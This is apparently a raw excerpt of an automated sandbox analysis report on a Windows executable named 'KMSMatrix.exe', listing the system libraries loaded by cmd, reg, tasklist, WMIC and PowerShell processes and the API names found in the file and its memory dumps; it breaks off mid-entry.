api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008156) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008156) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008156) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007188) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007188) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007188) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007188) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002660) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002660) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002660) "find.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002660) "fltMC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007868) "fltMC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007868) "fltMC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007868) "fltMC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007868) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007740) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007740) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007740) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007740) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002704) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002704) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002704) "find.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002704) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005160) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005160) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005160) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005160) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005136) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005136) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005136) "find.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005136) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008172) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008172) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008172) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008172) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005724) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005724) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005724) "find.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005724) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005684) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005684) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005684) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005684) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005552) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005552) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005552) "find.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005552) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002036) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002036) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002036) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002036) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003300) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003300) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003300) "WMIC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003300) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008016) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008016) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008016) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008016) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006596) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006596) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006596) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006596) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006404) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006404) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006404) "tasklist.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006404) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00006404) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003940) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003940) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003940) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003940) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007500) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007500) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007500) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007500) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006432) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006432) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006432) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006432) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005184) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005184) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005184) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005184) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003944) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003944) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003944) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003944) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004404) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004404) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004404) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004404) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000336) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000336) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000336) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000336) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004456) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004456) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004456) "tasklist.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004456) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00004456) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006100) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006100) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006100) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006100) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007028) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007028) "tasklist.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007028) "tasklist.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007028) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00007028) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005180) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005180)45:T2419,Found reference to API (Indicator: "GetEnvironmentVariable"; File: "KMSMatrix.exe") Found reference to API (Indicator: "GetObject"; File: "KMSMatrix.exe") Found reference to API (Indicator: "MessageBox"; File: "KMSMatrix.exe") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: 